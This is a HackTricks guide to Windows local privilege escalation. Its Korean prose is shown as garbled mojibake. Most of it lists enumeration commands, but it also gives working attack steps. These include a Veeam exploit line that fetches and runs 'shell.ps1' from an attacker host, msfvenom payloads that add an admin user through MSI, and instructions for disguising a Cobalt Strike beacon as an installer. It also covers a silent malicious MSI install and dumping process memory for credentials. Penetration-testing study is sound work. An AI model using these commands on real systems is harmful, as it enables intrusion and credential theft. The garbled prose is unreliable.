Windows Local Privilege Escalation
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Windows local privilege escalation ๋ฒกํฐ๋ฅผ ์ฐพ๊ธฐ ์ํ ์ต๊ณ ์ ๋๊ตฌ: WinPEAS
์ด๊ธฐ Windows ์ด๋ก
Access Tokens
Windows Access Tokens๋ฅผ ๋ชจ๋ฅด๋ ๊ฒฝ์ฐ, ๊ณ์ํ๊ธฐ ์ ์ ๋ค์ ํ์ด์ง๋ฅผ ์ฝ์ผ์ธ์:
ACLs - DACLs/SACLs/ACEs
ACLs - DACLs/SACLs/ACEs์ ๋ํ ์์ธํ ์ ๋ณด๋ ๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
Integrity Levels
Windows์ integrity levels๋ฅผ ๋ชจ๋ฅด๋ ๊ฒฝ์ฐ ๊ณ์ํ๊ธฐ ์ ์ ๋ค์ ํ์ด์ง๋ฅผ ์ฝ์ด์ผ ํฉ๋๋ค:
Windows Security Controls
Windows์๋ ์์คํ ์ ์ด๊ฑฐํ์ง ๋ชปํ๊ฒ ํ๋, ์คํ ํ์ผ ์คํ์ ๋ฐฉํดํ๋ ๋๋ ์ฌ์ง์ด ํ๋์ ํ์งํ๋ ๋ค์ํ ์์๊ฐ ์์ต๋๋ค. privilege escalation ์ด๊ฑฐ๋ฅผ ์์ํ๊ธฐ ์ ์ ๋ค์ ํ์ด์ง๋ฅผ ์ฝ๊ณ , ์ด๋ฌํ ๋ชจ๋ ๋ฐฉ์ด ๋ฉ์ปค๋์ฆ์ ์ด๊ฑฐํด์ผ ํฉ๋๋ค:
System Info
Version info enumeration
Windows ๋ฒ์ ์ ์๋ ค์ง ์ทจ์ฝ์ ์ด ์๋์ง ํ์ธํ์ธ์(์ ์ฉ๋ ํจ์น๋ ํจ๊ป ํ์ธํ์ธ์).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Version Exploits
์ด site๋ Microsoft ๋ณด์ ์ทจ์ฝ์ ์ ๋ํ ์์ธ ์ ๋ณด๋ฅผ ๊ฒ์ํ๋ ๋ฐ ์ ์ฉํฉ๋๋ค. ์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค์๋ 4,700๊ฐ๊ฐ ๋๋ ๋ณด์ ์ทจ์ฝ์ ์ด ์์ด Windows ํ๊ฒฝ์ด ์ ๊ณตํ๋ ๋ฐฉ๋ํ ๊ณต๊ฒฉ ํ๋ฉด์ ๋ณด์ฌ์ค๋๋ค.
์์คํ ์์
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas has watson embedded)
์์คํ ์ ๋ณด๋ก ๋ก์ปฌ์์
Github์ exploits ์ ์ฅ์:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
ํ๊ฒฝ
Any credential/Juicy info saved in the env variables?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell ๊ธฐ๋ก
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell ์ ์ฌ(Transcript) ํ์ผ
์ด ๊ธฐ๋ฅ์ ํ์ฑํํ๋ ๋ฐฉ๋ฒ์ https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/์์ ํ์ธํ ์ ์์ต๋๋ค.
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
PowerShell ํ์ดํ๋ผ์ธ ์คํ์ ๋ํ ์ธ๋ถ ์ ๋ณด๊ฐ ๊ธฐ๋ก๋ฉ๋๋ค. ์ฌ๊ธฐ์๋ ์คํ๋ ๋ช ๋ น, ๋ช ๋ น ํธ์ถ ๋ฐ ์คํฌ๋ฆฝํธ ์ผ๋ถ๊ฐ ํฌํจ๋ฉ๋๋ค. ๋ค๋ง ์ ์ฒด ์คํ ๋ด์ฉ๊ณผ ์ถ๋ ฅ ๊ฒฐ๊ณผ๊ฐ ๋ชจ๋ ์บก์ฒ๋์ง ์์ ์ ์์ต๋๋ค.
์ด๋ฅผ ํ์ฑํํ๋ ค๋ฉด ๋ฌธ์์ โTranscript filesโ ์น์ ์ ์๋ ์ง์นจ์ ๋ฐ๋ฅด๊ณ **โModule Loggingโ**์ โPowershell Transcriptionโ ๋์ ์ ํํ์ธ์.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
PowersShell ๋ก๊ทธ์ ๋ง์ง๋ง 15๊ฐ ์ด๋ฒคํธ๋ฅผ ๋ณด๋ ค๋ฉด ๋ค์์ ์คํํ์ธ์:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
์คํฌ๋ฆฝํธ ์คํ์ ๋ชจ๋ ํ๋๊ณผ ์ ์ฒด ๋ด์ฉ์ด ๊ธฐ๋ก๋์ด, ์คํ๋๋ ๋ชจ๋ ์ฝ๋ ๋ธ๋ก์ด ์คํ ์์ ์ ๋ฌธ์ํ๋๋๋ก ๋ณด์ฅํฉ๋๋ค. ์ด ๊ณผ์ ์ ๊ฐ ํ๋์ ๋ํ ํฌ๊ด์ ์ธ ๊ฐ์ฌ ์ถ์ ์ ๋ณด์กดํ์ฌ ํฌ๋ ์ ์กฐ์ฌ์ ์ ์ฑ ํ์ ๋ถ์์ ์ ์ฉํฉ๋๋ค. ์คํ ์์ ์ ๋ชจ๋ ํ๋์ ๋ฌธ์ํํจ์ผ๋ก์จ ํ๋ก์ธ์ค์ ๋ํ ์์ธํ ์ธ์ฌ์ดํธ๋ฅผ ์ ๊ณตํฉ๋๋ค.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Script Block์ ๋ํ ๋ก๊น
์ด๋ฒคํธ๋ Windows Event Viewer์ ๋ค์ ๊ฒฝ๋ก์์ ์ฐพ์ ์ ์์ต๋๋ค: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
์ต๊ทผ 20๊ฐ ์ด๋ฒคํธ๋ฅผ ๋ณด๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
์ธํฐ๋ท ์ค์
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
๋๋ผ์ด๋ธ
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
์ ๋ฐ์ดํธ๊ฐ httpS๊ฐ ์๋ http๋ก ์์ฒญ๋๋ ๊ฒฝ์ฐ ์์คํ ์ ์นจํดํ ์ ์์ต๋๋ค.
๋ค์ ๋ช ๋ น์ cmd์์ ์คํํ์ฌ ๋คํธ์ํฌ๊ฐ SSL์ด ์๋ WSUS ์ ๋ฐ์ดํธ๋ฅผ ์ฌ์ฉํ๋์ง ํ์ธํฉ๋๋ค:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
๋๋ PowerShell์์ ๋ค์์ ์คํ:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
๋ค์๊ณผ ๊ฐ์ ์๋ต์ ๋ฐ์ผ๋ฉด:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.
๊ทธ๋ฌ๋ฉด, ์ทจ์ฝํฉ๋๋ค. ๋ง์ง๋ง ๋ ์ง์คํธ๋ฆฌ ๊ฐ์ด 0์ด๋ฉด WSUS ํญ๋ชฉ์ ๋ฌด์๋ฉ๋๋ค.
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ ๋๊ตฌ๋ค์ ์ฌ์ฉํ ์ ์์ต๋๋ค: Wsuxploit, pyWSUS โ ์ด๋ค์ non-SSL WSUS ํธ๋ํฝ์ โ๊ฐ์งโ ์ ๋ฐ์ดํธ๋ฅผ ์ฃผ์ ํ๋ MiTM ๊ธฐ๋ฒ์ weaponized exploit ์คํฌ๋ฆฝํธ์ ๋๋ค.
Read the research here:
WSUS CVE-2020-1013
Read the complete report here.
๊ธฐ๋ณธ์ ์ผ๋ก ์ด ๊ฒฐํจ์ ์ด ๋ฒ๊ทธ๊ฐ ์
์ฉํ๋ ๋ฌธ์ ์
๋๋ค:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorerโs settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current userโs settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current userโs certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
์ด ์ทจ์ฝ์ ์ ๋๊ตฌ WSUSpicious๋ฅผ ์ฌ์ฉํด ์ ์ฉํ ์ ์์ต๋๋ค(์ผ๋จ ํ๋ณด๋๋ฉด).
Third-Party Auto-Updaters and Agent IPC (local privesc)
๋ง์ ์ํฐํ๋ผ์ด์ฆ ์์ด์ ํธ๋ localhost IPC ์ธํฐํ์ด์ค์ ๊ถํ ์๋ ์ ๋ฐ์ดํธ ์ฑ๋์ ๋ ธ์ถํฉ๋๋ค. ๋ฑ๋ก(enrollment)์ด ๊ณต๊ฒฉ์ ์๋ฒ๋ก ๊ฐ์ ๋๊ฑฐ๋ updater๊ฐ ์ ์ฑ ๋ฃจํธ CA๋ฅผ ์ ๋ขฐํ๊ฑฐ๋ ์๋ช ๊ฒ์ฆ์ด ์ฝํ๋ฉด, ๋ก์ปฌ ์ฌ์ฉ์๋ SYSTEM ์๋น์ค๊ฐ ์ค์นํ๋ ์ ์ฑ MSI๋ฅผ ์ ๋ฌํ ์ ์์ต๋๋ค. ์ผ๋ฐํ๋ ๊ธฐ๋ฒ(Netskope stAgentSvc ์ฒด์ธ ๊ธฐ๋ฐ โ CVE-2025-0309)์ ์ฌ๊ธฐ ์ฐธ์กฐ:
Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)
Veeam B&R < 11.0.1.1261 ์ TCP/9401์์ localhost ์๋น์ค๋ฅผ ๋
ธ์ถํ๋ฉฐ, ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ฉ์์ง๋ฅผ ์ฒ๋ฆฌํด NT AUTHORITY\SYSTEM ๊ถํ์ผ๋ก ์์ ๋ช
๋ น์ ์คํํ ์ ์์ต๋๋ค.
- Recon: ๋ฆฌ์ค๋์ ๋ฒ์ ์ ํ์ธํ์ธ์. ์:
netstat -ano | findstr 9401๋ฐ(Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion. - Exploit: ํ์ํ Veeam DLL๋ค๊ณผ ํจ๊ป
VeeamHax.exe๊ฐ์ PoC๋ฅผ ๋์ผ ๋๋ ํฐ๋ฆฌ์ ๋ฐฐ์นํ ๋ค์, ๋ก์ปฌ ์์ผ์ ํตํด SYSTEM ํ์ด๋ก๋๋ฅผ ํธ๋ฆฌ๊ฑฐํ์ธ์:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""
์๋น์ค๋ ๋ช ๋ น์ SYSTEM์ผ๋ก ์คํํฉ๋๋ค.
KrbRelayUp
ํน์ ์กฐ๊ฑด ํ์์ Windows ๋๋ฉ์ธ ํ๊ฒฝ์๋ local privilege escalation ์ทจ์ฝ์ ์ด ์กด์ฌํฉ๋๋ค. ์ด๋ฌํ ์กฐ๊ฑด์๋ LDAP signing is not enforced, ์ํ์ ํ๊ฒฝ, ์ฌ์ฉ์๊ฐ Resource-Based Constrained Delegation (RBCD) ๋ฅผ ๊ตฌ์ฑํ ์ ์๋ self-rights๋ฅผ ๋ณด์ ํ ๊ฒฝ์ฐ, ๊ทธ๋ฆฌ๊ณ ๋๋ฉ์ธ ๋ด์์ ์ปดํจํฐ๋ฅผ ์์ฑํ ์ ์๋ ๊ถํ์ด ์๋ ๊ฒฝ์ฐ๊ฐ ํฌํจ๋ฉ๋๋ค. ์ด requirements ๋ default settings ๋ก๋ ์ถฉ์กฑ๋๋ค๋ ์ ์ ์ ์ํ์ธ์.
Find the exploit in https://github.com/Dec0ne/KrbRelayUp
๊ณต๊ฒฉ ํ๋ฆ์ ๋ํ ์์ธํ ๋ด์ฉ์ https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ ๋ฅผ ํ์ธํ์ธ์
AlwaysInstallElevated
If ์ด 2๊ฐ์ ๋ ์ง์คํธ๋ฆฌ ํญ๋ชฉ์ด enabled (๊ฐ์ด 0x1)์ด๋ฉด, ๋ชจ๋ ๊ถํ์ ์ฌ์ฉ์๋ NT AUTHORITY\SYSTEM ๊ถํ์ผ๋ก *.msi ํ์ผ์ ์ค์น(์คํ)ํ ์ ์์ต๋๋ค.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated
PowerUP
Use the Write-UserAddMSI command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access):
Write-UserAddMSI
์์ฑ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๊ธฐ๋ง ํ๋ฉด ๊ถํ ์์น์ด ๋ฉ๋๋ค.
MSI Wrapper
์ด ํํ ๋ฆฌ์ผ์ ์ฝ์ด MSI wrapper๋ฅผ ๋ง๋๋ ๋ฐฉ๋ฒ์ ๋ฐฐ์ฐ์ธ์. .bat ํ์ผ์ ๋จ์ง command lines๋ง ์คํํ๋ ค๋ ๊ฒฝ์ฐ ๋ํํ ์ ์์ต๋๋ค.
Create MSI with WIX
Create MSI with Visual Studio
- Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in
C:\privesc\beacon.exe - Visual Studio๋ฅผ ์ด๊ณ Create a new project๋ฅผ ์ ํํ ํ ๊ฒ์ ์์์ โinstallerโ๋ฅผ ์ ๋ ฅํ์ธ์. Setup Wizard ํ๋ก์ ํธ๋ฅผ ์ ํํ๊ณ Next๋ฅผ ํด๋ฆญํ์ธ์.
- ํ๋ก์ ํธ ์ด๋ฆ์ ์: AlwaysPrivesc ๋ก ์ง์ ํ๊ณ , ์์น๋
C:\privesc๋ฅผ ์ฌ์ฉํ์ธ์. place solution and project in the same directory๋ฅผ ์ ํํ๊ณ Create๋ฅผ ํด๋ฆญํ์ธ์. - ๋จ๊ณ 3/4(ํฌํจํ ํ์ผ ์ ํ)๊ฐ ๋์ฌ ๋๊น์ง Next๋ฅผ ๊ณ์ ํด๋ฆญํ์ธ์. Add๋ฅผ ํด๋ฆญํด ๋ฐฉ๊ธ ์์ฑํ Beacon payload๋ฅผ ์ ํํ ๋ค์ Finish๋ฅผ ํด๋ฆญํ์ธ์.
- Solution Explorer์์ AlwaysPrivesc ํ๋ก์ ํธ๋ฅผ ์ ํํ๊ณ Properties์์ TargetPlatform์ x86์์ x64๋ก ๋ณ๊ฒฝํ์ธ์.
- ์ค์น๋ ์ฑ์ ๋ ๊ทธ๋ด๋ฏํ๊ฒ ๋ณด์ด๊ฒ ํ๊ธฐ ์ํด Author๋ Manufacturer ๊ฐ์ ๋ค๋ฅธ ์์ฑ๋ค๋ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
- ํ๋ก์ ํธ๋ฅผ ์ฐํด๋ฆญํ๊ณ View > Custom Actions๋ฅผ ์ ํํ์ธ์.
- Install์ ์ฐํด๋ฆญํ๊ณ Add Custom Action์ ์ ํํ์ธ์.
- Application Folder๋ฅผ ๋๋ธํด๋ฆญํ๊ณ beacon.exe ํ์ผ์ ์ ํํ ํ OK๋ฅผ ํด๋ฆญํ์ธ์. ์ด๋ ๊ฒ ํ๋ฉด ์ธ์คํจ๋ฌ๊ฐ ์คํ๋๋ฉด ๋ฐ๋ก beacon payload๊ฐ ์คํ๋ฉ๋๋ค.
- Custom Action Properties์์ Run64Bit๋ฅผ True๋ก ๋ณ๊ฒฝํ์ธ์.
- ๋ง์ง๋ง์ผ๋ก ํ๋ก์ ํธ๋ฅผ ๋น๋ํ์ธ์.
- ๊ฒฝ๊ณ
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'๊ฐ ํ์๋๋ฉด ํ๋ซํผ์ x64๋ก ์ค์ ํ๋์ง ํ์ธํ์ธ์.
MSI Installation
์
์ฑ .msi ํ์ผ์ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ์ค์นํ๋ ค๋ฉด:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค: exploit/windows/local/always_install_elevated
์ํฐ๋ฐ์ด๋ฌ์ค ๋ฐ ํ์ง๊ธฐ
๊ฐ์ฌ ์ค์
์ด ์ค์ ์ ๋ฌด์์ด ๊ธฐ๋ก๋๋์ง๋ฅผ ๊ฒฐ์ ํ๋ฏ๋ก ์ฃผ์ํ์ธ์.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, logs๊ฐ ์ด๋๋ก ์ ์ก๋๋์ง ์๋ ๊ฒ์ ํฅ๋ฏธ๋กญ๋ค
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS๋ ๋๋ฉ์ธ์ ๊ฐ์ ๋ ์ปดํจํฐ์์ ๋ก์ปฌ Administrator ์ํธ๋ฅผ ๊ด๋ฆฌํ๋๋ก ์ค๊ณ๋์์ผ๋ฉฐ, ๊ฐ ์ํธ๊ฐ ๊ณ ์ ํ๊ณ ๋ฌด์์์ด๋ฉฐ ์ ๊ธฐ์ ์ผ๋ก ๊ฐฑ์ ๋๋๋ก ๋ณด์ฅํฉ๋๋ค. ์ด๋ฌํ ์ํธ๋ Active Directory์ ์์ ํ๊ฒ ์ ์ฅ๋๋ฉฐ ACLs๋ฅผ ํตํด ์ถฉ๋ถํ ๊ถํ์ด ๋ถ์ฌ๋ ์ฌ์ฉ์๋ง ์ก์ธ์คํ ์ ์์ด, ๊ถํ์ด ์๋ ๊ฒฝ์ฐ์๋ง ๋ก์ปฌ admin ์ํธ๋ฅผ ์ด๋ํ ์ ์์ต๋๋ค.
WDigest
ํ์ฑํ๋์ด ์์ผ๋ฉด ํ๋ฌธ ์ํธ๋ LSASS์ ์ ์ฅ๋ฉ๋๋ค (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Windows 8.1๋ถํฐ Microsoft๋ Local Security Authority (LSA)์ ๋ํด ์ ๋ขฐํ ์ ์๋ ํ๋ก์ธ์ค๊ฐ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ฝ๊ฑฐ๋ ์ฝ๋๋ฅผ ์ฃผ์
ํ๋ ค๋ ์๋๋ฅผ ์ฐจ๋จํ๋๋ก ํฅ์๋ ๋ณดํธ๋ฅผ ๋์
ํ์ฌ ์์คํ
์ ๋์ฑ ์์ ํ๊ฒ ํ์ต๋๋ค.
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard์ Windows 10์์ ๋์ ๋์์ต๋๋ค. ๊ทธ ๋ชฉ์ ์ ์ฅ์น์ ์ ์ฅ๋ credentials๋ฅผ pass-the-hash ๊ณต๊ฒฉ๊ณผ ๊ฐ์ ์ํ์ผ๋ก๋ถํฐ ๋ณดํธํ๋ ๊ฒ์ ๋๋ค.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials๋ Local Security Authority (LSA)์ ์ํด ์ธ์ฆ๋๋ฉฐ ์ด์ ์ฒด์ ๊ตฌ์ฑ ์์์์ ์ฌ์ฉ๋ฉ๋๋ค. ์ฌ์ฉ์์ ๋ก๊ทธ์จ ๋ฐ์ดํฐ๊ฐ ๋ฑ๋ก๋ ๋ณด์ ํจํค์ง์ ์ํด ์ธ์ฆ๋๋ฉด, ์ผ๋ฐ์ ์ผ๋ก ํด๋น ์ฌ์ฉ์์ ๋ํ domain credentials๊ฐ ์์ฑ๋ฉ๋๋ค.
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
์ฌ์ฉ์ ๋ฐ ๊ทธ๋ฃน
์ฌ์ฉ์ ๋ฐ ๊ทธ๋ฃน ์ด๊ฑฐ
์์ ์ด ์ํ ๊ทธ๋ฃน ์ค ํฅ๋ฏธ๋ก์ด ๊ถํ์ ๊ฐ์ง ๊ทธ๋ฃน์ด ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค.
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
ํน๊ถ ๊ทธ๋ฃน
๋ง์ฝ ๋น์ ์ด ํน๊ถ ๊ทธ๋ฃน์ ์ํด ์๋ค๋ฉด ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค. ์ฌ๊ธฐ์์ ํน๊ถ ๊ทธ๋ฃน๊ณผ ์ด๋ฅผ ์ ์ฉํด ๊ถํ์ ์์น์ํค๋ ๋ฐฉ๋ฒ์ ์์๋ณด์ธ์:
ํ ํฐ ์กฐ์
๋ ์์๋ณด๊ธฐ: ์ด ํ์ด์ง์์ ํ ํฐ์ด ๋ฌด์์ธ์ง ํ์ธํ์ธ์: Windows Tokens.
๋ค์ ํ์ด์ง์์ ํฅ๋ฏธ๋ก์ด ํ ํฐ์ ๋ํด ๋ฐฐ์ฐ๊ณ ์ด๋ฅผ ์
์ฉํ๋ ๋ฐฉ๋ฒ์ ํ์ธํ์ธ์:
๋ก๊ทธ์ธ๋ ์ฌ์ฉ์ / ์ธ์
qwinsta
klist sessions
ํ ํด๋
dir C:\Users
Get-ChildItem C:\Users
์ํธ ์ ์ฑ
net accounts
ํด๋ฆฝ๋ณด๋์ ๋ด์ฉ ๊ฐ์ ธ์ค๊ธฐ
powershell -command "Get-Clipboard"
์คํ ์ค์ธ ํ๋ก์ธ์ค
ํ์ผ ๋ฐ ํด๋ ๊ถํ
์ฐ์ , ํ๋ก์ธ์ค ๋ชฉ๋ก์ ํ์ธํ์ฌ ํ๋ก์ธ์ค์ command line์ passwords๊ฐ ์๋์ง ํ์ธํ์ธ์.
์คํ ์ค์ธ binary๋ฅผ ๋ฎ์ด์ธ ์ ์๋์ง ๋๋ binary ํด๋์ ์ฐ๊ธฐ ๊ถํ์ด ์๋์ง ํ์ธํ์ฌ ์ ์ฌ์ ์ธ DLL Hijacking attacks๋ฅผ ์
์ฉํ ์ ์๋์ง ํ์ธํ์ธ์:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
ํ๋ก์ธ์ค ๋ฐ์ด๋๋ฆฌ์ ๊ถํ ํ์ธ
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
ํ๋ก์ธ์ค ๋ฐ์ด๋๋ฆฌ ํด๋์ ๊ถํ ํ์ธ (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
sysinternals์ procdump๋ฅผ ์ฌ์ฉํ์ฌ ์คํ ์ค์ธ ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ ๋คํ๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. FTP์ ๊ฐ์ ์๋น์ค๋ ๋ฉ๋ชจ๋ฆฌ์ credentials in clear text in memory๋ก ๋จ์์๋ ๊ฒฝ์ฐ๊ฐ ์์ผ๋, ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋คํํ์ฌ credentials๋ฅผ ์ฝ์ด๋ณด์ธ์.
procdump.exe -accepteula -ma <proc_name_tasklist>
์ทจ์ฝํ GUI ์ฑ
SYSTEM์ผ๋ก ์คํ๋๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฌ์ฉ์๊ฐ CMD๋ฅผ ์คํํ๊ฑฐ๋ ๋๋ ํฐ๋ฆฌ๋ฅผ ํ์ํ ์ ์๊ฒ ํ ์ ์์ต๋๋ค.
